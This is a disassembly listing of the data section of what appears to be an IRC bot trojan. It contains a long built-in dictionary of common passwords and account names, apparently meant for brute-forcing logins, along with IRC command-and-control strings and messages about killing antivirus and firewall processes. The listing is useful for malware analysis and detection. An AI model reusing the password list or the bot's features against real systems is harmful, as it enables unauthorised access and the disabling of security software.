aBarf		db 'barf',0             ; DATA XREF: .nsp0:00426650o
		align 4
aBare		db 'bare',0             ; DATA XREF: .nsp0:0042664Co
		align 10h
aBarber		db 'barber',0           ; DATA XREF: .nsp0:00426648o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: .nsp0:00426644o
aBanks		db 'banks',0            ; DATA XREF: .nsp0:00426640o
		align 4
aBank		db 'bank',0             ; DATA XREF: .nsp0:0042663Co
		align 10h
aBandit		db 'bandit',0           ; DATA XREF: .nsp0:00426638o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: .nsp0:00426634o
aBanana		db 'banana',0           ; DATA XREF: .nsp0:00426630o
		align 4
aBall		db 'ball',0             ; DATA XREF: .nsp0:0042662Co
		align 10h
aBailey		db 'bailey',0           ; DATA XREF: .nsp0:00426628o
		align 4
aBadass		db 'badass',0           ; DATA XREF: .nsp0:00426624o
		align 10h
aBackdoor	db 'backdoor',0         ; DATA XREF: .nsp0:00426620o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: .nsp0:0042661Co
aBaby		db 'baby',0             ; DATA XREF: .nsp0:00426618o
		align 4
aBabe		db 'babe',0             ; DATA XREF: .nsp0:00426614o
		align 4
aAzure		db 'azure',0            ; DATA XREF: .nsp0:00426610o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: .nsp0:0042660Co
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: .nsp0:00426608o
		align 10h
aAttack		db 'attack',0           ; DATA XREF: .nsp0:00426604o
		align 4
aAtom		db 'atom',0             ; DATA XREF: .nsp0:00426600o
		align 10h
aAtmosphe	db 'atmosphe',0         ; DATA XREF: .nsp0:004265FCo
		align 4
aAthena		db 'athena',0           ; DATA XREF: .nsp0:004265F8o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: .nsp0:004265F4o
aAsian		db 'asian',0            ; DATA XREF: .nsp0:004265F0o
		align 4
aArtist		db 'artist',0           ; DATA XREF: .nsp0:004265ECo
		align 4
aArthur		db 'arthur',0           ; DATA XREF: .nsp0:004265E8o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: .nsp0:004265E4o
		align 4
aArmy		db 'army',0             ; DATA XREF: .nsp0:004265E0o
		align 4
aArlene		db 'arlene',0           ; DATA XREF: .nsp0:004265DCo
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: .nsp0:004265D8o
aAria		db 'aria',0             ; DATA XREF: .nsp0:004265D4o
		align 4
aApril		db 'april',0            ; DATA XREF: .nsp0:004265D0o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: .nsp0:004265CCo
		align 10h
aAnything	db 'anything',0         ; DATA XREF: .nsp0:004265C8o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: .nsp0:004265C4o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: .nsp0:004265C0o
		align 10h
aAnthrax	db 'anthrax',0          ; DATA XREF: .nsp0:004265BCo
aAnswer		db 'answer',0           ; DATA XREF: .nsp0:004265B8o
		align 10h
aAnonymou	db 'anonymou',0         ; DATA XREF: .nsp0:004265B4o
		align 4
aAnon		db 'anon',0             ; DATA XREF: .nsp0:004265B0o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: .nsp0:004265ACo
aAnne		db 'anne',0             ; DATA XREF: .nsp0:004265A8o
		align 4
aAnna		db 'anna',0             ; DATA XREF: .nsp0:004265A4o
		align 4
aAnita		db 'anita',0            ; DATA XREF: .nsp0:004265A0o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: .nsp0:0042659Co
aAnimal		db 'animal',0           ; DATA XREF: .nsp0:00426598o
		align 4
aAngie		db 'angie',0            ; DATA XREF: .nsp0:00426594o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: .nsp0:00426590o
		align 4
aAngela		db 'angela',0           ; DATA XREF: .nsp0:0042658Co
		align 10h
aAnfo		db 'anfo',0             ; DATA XREF: .nsp0:00426588o
		align 4
aAndy		db 'andy',0             ; DATA XREF: .nsp0:00426584o
		align 10h
aAndromac	db 'andromac',0         ; DATA XREF: .nsp0:00426580o
		align 4
aAndroid	db 'android',0          ; DATA XREF: .nsp0:0042657Co
aAndrea		db 'andrea',0           ; DATA XREF: .nsp0:00426578o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: .nsp0:00426574o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: .nsp0:00426570o
aAnarchis	db 'anarchis',0         ; DATA XREF: .nsp0:0042656Co
		align 4
aAnalog		db 'analog',0           ; DATA XREF: .nsp0:00426568o
		align 10h
aAnal		db 'anal',0             ; DATA XREF: .nsp0:00426564o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: .nsp0:00426560o
		align 4
aAmerica	db 'america',0          ; DATA XREF: .nsp0:0042655Co
aAmber		db 'amber',0            ; DATA XREF: .nsp0:00426558o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: .nsp0:00426554o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: .nsp0:00426550o
aAlphabet	db 'alphabet',0         ; DATA XREF: .nsp0:0042654Co
		align 10h
aAllow		db 'allow',0            ; DATA XREF: .nsp0:00426548o
		align 4
aAllison	db 'allison',0
aAlison		db 'alison',0
		align 4
aAlisa		db 'alisa',0
		align 10h
aAlicia		db 'alicia',0
		align 4
aAlice		db 'alice',0
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: sub_401AA1+1360o
aAlias		db 'alias',0
		align 10h
aAlgebra	db 'algebra',0
aAlexande	db 'alexande',0
		align 4
aAlex		db 'alex',0
		align 4
aAlert		db 'alert',0
		align 4
aAlbert		db 'albert',0
		align 4
aAlbatros	db 'albatros',0
		align 4
aAlbany		db 'albany',0
		align 10h
aAlaska		db 'alaska',0
		align 4
aAirplane	db 'airplane',0
		align 4
aAids		db 'aids',0             ; DATA XREF: .nsp0:00426504o
		align 4
aAerobics	db 'aerobics',0
		align 4
aAdult		db 'adult',0
		align 10h
aAdrianna	db 'adrianna',0         ; DATA XREF: .nsp0:004264F8o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: .nsp0:004264F4o
		align 4
aAdam		db 'adam',0             ; DATA XREF: .nsp0:004264F0o
		align 4
aAction		db 'action',0           ; DATA XREF: sub_401AA1+4008o
		align 4
aAccount	db 'account',0
aAccept		db 'accept',0           ; DATA XREF: sub_408C5C+5F1o
		align 4
aAcademic	db 'academic',0
		align 10h
aAcademia	db 'academia',0
		align 4
a000000		db '000000',0           ; DATA XREF: .nsp0:00427EF0o
		align 4
a00000		db '00000',0            ; DATA XREF: .nsp0:00427EECo
		align 4
a0000		db '0000',0             ; DATA XREF: .nsp0:00427EE8o
		align 4
a000		db '000',0              ; DATA XREF: .nsp0:00427EE4o
aTesting	db 'testing',0
aDeath		db 'death',0
		align 4
a00		db '00',0
		align 4
a0_0:					; DATA XREF: sub_40BAEF+2CAo
		unicode	0, <0>,0
aXxxxxxxxx	db 'xxxxxxxxx',0
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .nsp0:0042832Co
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .nsp0:00428328o
aXxxxxx		db 'xxxxxx',0
		align 4
aXxxxx		db 'xxxxx',0
		align 10h
aXxxx		db 'xxxx',0
		align 4
aXxx		db 'xxx',0
aXx		db 'xx',0
		align 10h
asc_42CBA0:				; DATA XREF: .nsp0:0043B02Co
					; .nsp0:0043B384o
		unicode	0, <x>,0
aGuessme	db 'guessme',0
aYouwontguessme	db 'youwontguessme',0
		align 4
aUwontguessme	db 'uwontguessme',0
		align 4
aMirc		db 'mirc',0             ; DATA XREF: sub_401AA1+3A0Do
		align 4
aKiddie		db 'kiddie',0
		align 4
aScriptkiddie	db 'scriptkiddie',0
		align 4
aScript		db 'script',0
		align 4
aHax0r		db 'hax0r',0
		align 4
aHacker		db 'hacker',0
		align 4
aL337		db 'l337',0
		align 4
aL33t		db 'l33t',0
		align 4
aLeet		db 'leet',0
		align 4
aKiller		db 'killer',0
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: .nsp0:00427F4Co
		align 4
aW00t		db 'w00t',0
		align 4
aHeaven		db 'heaven',0
		align 4
aSpaceman	db 'spaceman',0
		align 4
aSatanic	db 'satanic',0
aSatanik	db 'satanik',0
aSatan		db 'satan',0
		align 10h
aGobo		db 'gobo',0
		align 4
aMatthew	db 'Matthew',0
aMatt		db 'Matt',0
		align 4
aMat		db 'Mat',0
aPw		db 'pw',0
		align 10h
aMypass123	db 'mypass123',0
		align 4
aMypass		db 'mypass',0
		align 4
aPw123		db 'pw123',0
		align 4
aAdmin123	db 'admin123',0
		align 4
aMypc123	db 'mypc123',0
aMypc		db 'mypc',0
		align 4
aLove		db 'love',0
		align 10h
aPwd		db 'pwd',0
aLogin		db 'login',0            ; DATA XREF: .nsp0:00426410o
		align 4
aHome		db 'home',0             ; DATA XREF: .nsp0:0042640Co
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: .nsp0:00426408o
					; .nsp0:00428350o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: .nsp0:00426404o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: .nsp0:00426400o
					; .nsp0:004282BCo
		align 4
aSecret		db 'secret',0           ; DATA XREF: .nsp0:004263FCo
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: .nsp0:004263F8o
					; .nsp0:00428368o
		align 4
aPc		db 'pc',0               ; DATA XREF: .nsp0:004263F4o
		align 10h
aWin		db 'win',0              ; DATA XREF: .nsp0:004263F0o
aTest123	db 'test123',0          ; DATA XREF: .nsp0:004263ECo
aAbc		db 'abc',0              ; DATA XREF: .nsp0:004263E8o
aAaa		db 'aaa',0              ; DATA XREF: .nsp0:004263E4o
					; .nsp0:00428290o
aA_0:					; DATA XREF: sub_401AA1+401Fo
					; .nsp0:004263E0o ...
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: .nsp0:004263DCo
		align 10h
aFucked		db 'fucked',0           ; DATA XREF: .nsp0:004263D8o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: .nsp0:004263D4o
aIrule		db 'irule',0            ; DATA XREF: .nsp0:004263D0o
		align 4
aOwned		db 'owned',0            ; DATA XREF: .nsp0:004263CCo
		align 10h
a0wned		db '0wned',0            ; DATA XREF: .nsp0:004263C8o
					; .nsp0:00427F50o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: .nsp0:004263C4o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: .nsp0:004263C0o
		align 10h
aDevil		db 'devil',0            ; DATA XREF: .nsp0:004263BCo
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: .nsp0:004263B8o
		align 10h
aFoobar		db 'foobar',0           ; DATA XREF: .nsp0:004263B4o
		align 4
aGod		db 'god',0              ; DATA XREF: .nsp0:004263B0o
aSex_0		db 'sex',0              ; DATA XREF: .nsp0:004263ACo
					; .nsp0:off_43B2E0o
aPat		db 'pat',0              ; DATA XREF: .nsp0:004263A8o
aPatrick	db 'patrick',0          ; DATA XREF: .nsp0:004263A4o
aAlpha		db 'alpha',0            ; DATA XREF: .nsp0:004263A0o
		align 4
a007		db '007',0              ; DATA XREF: .nsp0:0042639Co
					; .nsp0:00427F3Co
a123abc		db '123abc',0           ; DATA XREF: .nsp0:00426398o
					; .nsp0:0042814Co
		align 10h
a1234qwer	db '1234qwer',0         ; DATA XREF: .nsp0:00426394o
					; .nsp0:00428158o
		align 4
a123123		db '123123',0           ; DATA XREF: .nsp0:00426390o
					; .nsp0:004280F8o
		align 4
a121212		db '121212',0           ; DATA XREF: .nsp0:0042638Co
					; .nsp0:004280F0o
		align 4
a111111		db '111111',0           ; DATA XREF: .nsp0:00426388o
					; .nsp0:00427F68o
		align 4
a110		db '110',0              ; DATA XREF: .nsp0:00426384o
					; .nsp0:004280BCo
a2600		db '2600',0             ; DATA XREF: .nsp0:00426380o
					; .nsp0:00428244o
		align 10h
a2003		db '2003',0             ; DATA XREF: sub_4179BF+BAo
					; .nsp0:0042637Co ...
		align 4
a2002		db '2002',0             ; DATA XREF: .nsp0:00426378o
					; .nsp0:00428230o
		align 10h
aXp_0		db 'xp',0               ; DATA XREF: .nsp0:00426374o
		align 4
aEnable		db 'enable',0           ; DATA XREF: .nsp0:00426370o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: .nsp0:0042636Co
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: .nsp0:00426368o
a123asd		db '123asd',0           ; DATA XREF: .nsp0:00426364o
					; .nsp0:00428150o
		align 4
aSuper		db 'super',0            ; DATA XREF: .nsp0:00426360o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: .nsp0:0042635Co
		align 10h
a123qwe		db '123qwe',0           ; DATA XREF: .nsp0:00426354o
					; .nsp0:00428154o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: .nsp0:00426350o
		align 10h
aAbc123		db 'abc123',0           ; DATA XREF: .nsp0:00426348o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: .nsp0:00426344o
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: .nsp0:0042633Co
		align 4
aPass_0		db 'pass',0             ; DATA XREF: .nsp0:00426338o
		align 10h
a88888888	db '88888888',0         ; DATA XREF: .nsp0:00426334o
					; .nsp0:00428088o
		align 4
a11111111	db '11111111',0         ; DATA XREF: .nsp0:00426330o
					; .nsp0:00427F70o
		align 4
a111		db '111',0              ; DATA XREF: .nsp0:0042632Co
					; .nsp0:00427F5Co
a54321		db '54321',0            ; DATA XREF: .nsp0:00426328o
					; .nsp0:00428250o
		align 4
a654321		db '654321',0           ; DATA XREF: .nsp0:00426324o
					; .nsp0:00428254o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .nsp0:00426320o
					; .nsp0:00428110o
		align 4
a12345678	db '12345678',0         ; DATA XREF: .nsp0:0042631Co
					; .nsp0:0042810Co
		align 4
a1234567	db '1234567',0          ; DATA XREF: .nsp0:00426318o
					; .nsp0:00428108o
a123456		db '123456',0           ; DATA XREF: .nsp0:00426314o
					; .nsp0:00428104o
		align 4
a12345		db '12345',0            ; DATA XREF: .nsp0:00426310o
					; .nsp0:00428100o
		align 4
a1234		db '1234',0             ; DATA XREF: .nsp0:0042630Co
					; .nsp0:004280FCo
		align 4
a123		db '123',0              ; DATA XREF: .nsp0:00426308o
					; .nsp0:004280F4o
a12		db '12',0               ; DATA XREF: .nsp0:00426304o
					; .nsp0:004280E8o
		align 4
a1:					; DATA XREF: .nsp0:00426300o
					; .nsp0:00427F54o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: .nsp0:004262FCo
aChangeme_0	db 'Changeme',0         ; DATA XREF: .nsp0:004262F8o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .nsp0:004262F4o
		align 10h
aLinux		db 'linux',0            ; DATA XREF: .nsp0:004262F0o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .nsp0:004262ECo
		align 10h
aLocal		db 'LOCAL',0            ; DATA XREF: .nsp0:004262E8o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: .nsp0:004262E4o
		align 10h
aServer_2	db 'SERVER',0           ; DATA XREF: .nsp0:004262E0o
					; .nsp0:004286A0o
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: .nsp0:004262DCo
					; .nsp0:004282F0o ...
		align 10h
aBackup		db 'BACKUP',0           ; DATA XREF: .nsp0:004262D8o
					; .nsp0:00428698o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: .nsp0:004262D0o
					; .nsp0:00428690o
		align 10h
aTest		db 'TEST',0             ; DATA XREF: .nsp0:004262CCo
					; .nsp0:0042868Co
		align 4
aEdu		db 'edu',0              ; DATA XREF: .nsp0:004262C8o
					; .nsp0:00428688o
aOwner_1	db 'Owner',0            ; DATA XREF: .nsp0:004262C4o
					; .nsp0:00428684o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: .nsp0:004262C0o
					; .nsp0:00428680o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: .nsp0:004262BCo
					; .nsp0:0042867Co
		align 4
aFiles		db 'FILES',0            ; DATA XREF: .nsp0:004262B8o
					; .nsp0:00428678o
		align 4
aRead		db 'READ',0             ; DATA XREF: .nsp0:004262B4o
					; .nsp0:00428674o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: .nsp0:004262B0o
					; .nsp0:00428670o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: .nsp0:004262ACo
					; .nsp0:0042866Co
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: .nsp0:004262A8o
					; .nsp0:00428668o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: .nsp0:004262A4o
					; .nsp0:00428664o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: .nsp0:004262A0o
					; .nsp0:00428660o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: .nsp0:0042629Co
					; .nsp0:0042865Co
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: .nsp0:00426298o
					; .nsp0:00428658o
		align 10h
aAdmin_0	db 'ADMIN',0            ; DATA XREF: .nsp0:00426294o
					; .nsp0:00428654o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: .nsp0:0042628Co
					; .nsp0:0042864Co
		align 10h
aGuest_1	db 'GUEST',0            ; DATA XREF: .nsp0:00426288o
					; .nsp0:00428648o
		align 4
aBla		db 'bla',0              ; DATA XREF: .nsp0:00426284o
					; .nsp0:00428644o
aFubar		db 'fubar',0            ; DATA XREF: .nsp0:00426280o
					; .nsp0:00428640o
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: .nsp0:00426274o
					; .nsp0:00428634o
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_40DF38+248o
					; .nsp0:00426268o ...
		align 4
aDb2		db 'db2',0              ; DATA XREF: .nsp0:00426264o
aOracle		db 'oracle',0           ; DATA XREF: .nsp0:00426260o
					; .nsp0:0042634Co
		align 4
aDba		db 'dba',0              ; DATA XREF: .nsp0:0042625Co
aDatabase	db 'database',0         ; DATA XREF: .nsp0:00426258o
					; .nsp0:00426340o
		align 4
aDefault	db 'default',0          ; DATA XREF: .nsp0:00426254o
					; .nsp0:004269E0o
aGuest_0	db 'guest',0            ; DATA XREF: .nsp0:00426250o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .nsp0:0042624Co
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .nsp0:00426248o
					; .nsp0:00427974o
aStudent	db 'student',0          ; DATA XREF: .nsp0:00426244o
					; .nsp0:004278BCo
aOwner		db 'owner',0            ; DATA XREF: .nsp0:00426240o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .nsp0:0042623Co
					; .nsp0:00426358o
		align 4
aRoot		db 'root',0             ; DATA XREF: .nsp0:00426238o
					; .nsp0:00426290o ...
		align 10h
aStaff		db 'staff',0            ; DATA XREF: .nsp0:00426234o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .nsp0:00426230o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: .nsp0:0042622Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .nsp0:00426228o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .nsp0:00426224o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .nsp0:00426220o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: .nsp0:0042621Co
					; .nsp0:0042627Co ...
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_4165F0:loc_4166FBo
					; .nsp0:00426218o ...
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:00426170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:0042616Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:00426168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:off_426164o
		align 4
a@ktw_com	db '*@KTW.com',0        ; DATA XREF: .nsp0:off_426160o
		align 10h
dword_42D120	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_40121E+456o
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42D154	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: sub_40121E+40Bo
aServerRunningO	db '- Server running on Port: 183.',0
		align 10h
unk_42D180	db  2Dh	; -		; DATA XREF: sub_40121E+3DEo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_42D1C0	db  2Dh	; -		; DATA XREF: sub_40121E+38Do
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_42D1E4	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: sub_40121E+352o
		dd 2E646574h, 0
dword_42D200	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40121E+27Do
dword_42D20C	dd 255C7325h, 73h	; DATA XREF: sub_40121E+186o
					; sub_41414A+7Eo
dword_42D214	dd 73257325h, 0		; DATA XREF: sub_40121E+10Ao
					; sub_40EC19+E9o ...
unk_42D21C	db  2Dh	; -		; DATA XREF: sub_4017BF+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401925+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401925+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+70ACo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+7097o
		align 4
unk_42D284	db  2Dh	; -		; DATA XREF: sub_401AA1+7083o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_42D2A4	db  2Dh	; -		; DATA XREF: sub_401AA1+7066o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_42D2C4	db  2Dh	; -		; DATA XREF: sub_401AA1+7011o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401AA1+6FEEo
		align 4
unk_42D318	db  2Dh	; -		; DATA XREF: sub_401AA1+6FA4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401AA1+6F95o
					; sub_401AA1+7002o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401AA1+6F81o
		align 4
asc_42D398:				; DATA XREF: sub_401AA1+6F51o
		unicode	0, <~>,0
unk_42D39C	db  2Dh	; -		; DATA XREF: sub_401AA1+6F00o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_42D3C0	db  2Dh	; -		; DATA XREF: sub_401AA1+6E96o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_42D3E8	db  2Dh	; -		; DATA XREF: sub_401AA1+6E50o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_42D40C	db  2Dh	; -		; DATA XREF: sub_401AA1+6E30o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_42D430	db  2Dh	; -		; DATA XREF: sub_401AA1+6E13o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_42D454	db  2Dh	; -		; DATA XREF: sub_401AA1+6DEFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_42D478	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401AA1+6DD2o
		dd 2E732520h, 0
unk_42D494	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_4087FDo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_42D4C0	db  2Dh	; -		; DATA XREF: sub_401AA1+6D55o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_42D4E4	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_4087B9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_42D50C	db  2Dh	; -		; DATA XREF: sub_401AA1+6D0Eo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401AA1+6CF4o
unk_42D538	db  2Dh	; -		; DATA XREF: sub_401AA1+6BEAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_42D560	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_408672o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_42D584	db  2Dh	; -		; DATA XREF: sub_401AA1+6BC7o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_42D5A4	db  2Dh	; -		; DATA XREF: sub_401AA1+6B9Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42D5CC	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_40861Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_42D5F4	db  2Dh	; -		; DATA XREF: sub_401AA1+6B4Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_42D614	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_4085B3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_42D644	db  2Dh	; -		; DATA XREF: sub_401AA1+6B08o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_42D664	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_408555o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_42D694	db  2Dh	; -		; DATA XREF: sub_401AA1+6AADo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_42D6B8	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401AA1+6A62o
		dd 27732527h, 2Eh
dword_42D6D4	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401AA1+6A48o
		dd 0
